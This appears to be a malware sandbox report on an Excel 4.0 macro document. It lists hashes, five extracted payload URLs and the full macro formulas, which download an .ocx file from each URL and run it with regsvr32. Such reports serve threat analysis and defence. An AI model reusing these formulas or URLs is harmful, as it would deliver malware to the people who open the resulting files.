General
-
Target
4826d6b4767c1a604d57e348144002f9ede8e87da020fcfd818a16ae44a7aff7
-
Size
91KB
-
MD5
8fb5d7a3c135d2603556456aab64aac2
-
SHA1
b10e44ed225fa445f33f0dfaaad45395430cdc6b
-
SHA256
4826d6b4767c1a604d57e348144002f9ede8e87da020fcfd818a16ae44a7aff7
-
SHA512
eb60895ce75f726b26ca3f820cf7ca8a26e605235e3ba0dca1d3353808b8e5e896ee8a8f83ff43e758d3d0ab6ec382fb72ec0a74d0314e3ce287e7d25b420a69
-
SSDEEP
1536:1NrCX2N5nyV+ns1BVi/IEh2hx0Lx3bKhllGGx0vKCEjdQjqEk+xX0sw:1142byVEoBo6hKb4llGsQjbxBw
Malware Config
Extracted
https://themillionairesweb.com/wp-admin/MD/
https://akhrailway.com/cgi-bin/b5c9CX4IK2GgN6C/
https://cmbavocat.fr/wp-admin/uKCcU1bqvbSvE/
http://idvlab.com.br/wp-admin/FIWBL/
https://institutionsevigne.org/wp-includes/pvDqUHqjYEqoQ6R/
-
formulas
=FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://themillionairesweb.com/wp-admin/MD/","..\wo1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://akhrailway.com/cgi-bin/b5c9CX4IK2GgN6C/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://cmbavocat.fr/wp-admin/uKCcU1bqvbSvE/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://idvlab.com.br/wp-admin/FIWBL/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://institutionsevigne.org/wp-includes/pvDqUHqjYEqoQ6R/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\wo1.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
4826d6b4767c1a604d57e348144002f9ede8e87da020fcfd818a16ae44a7aff7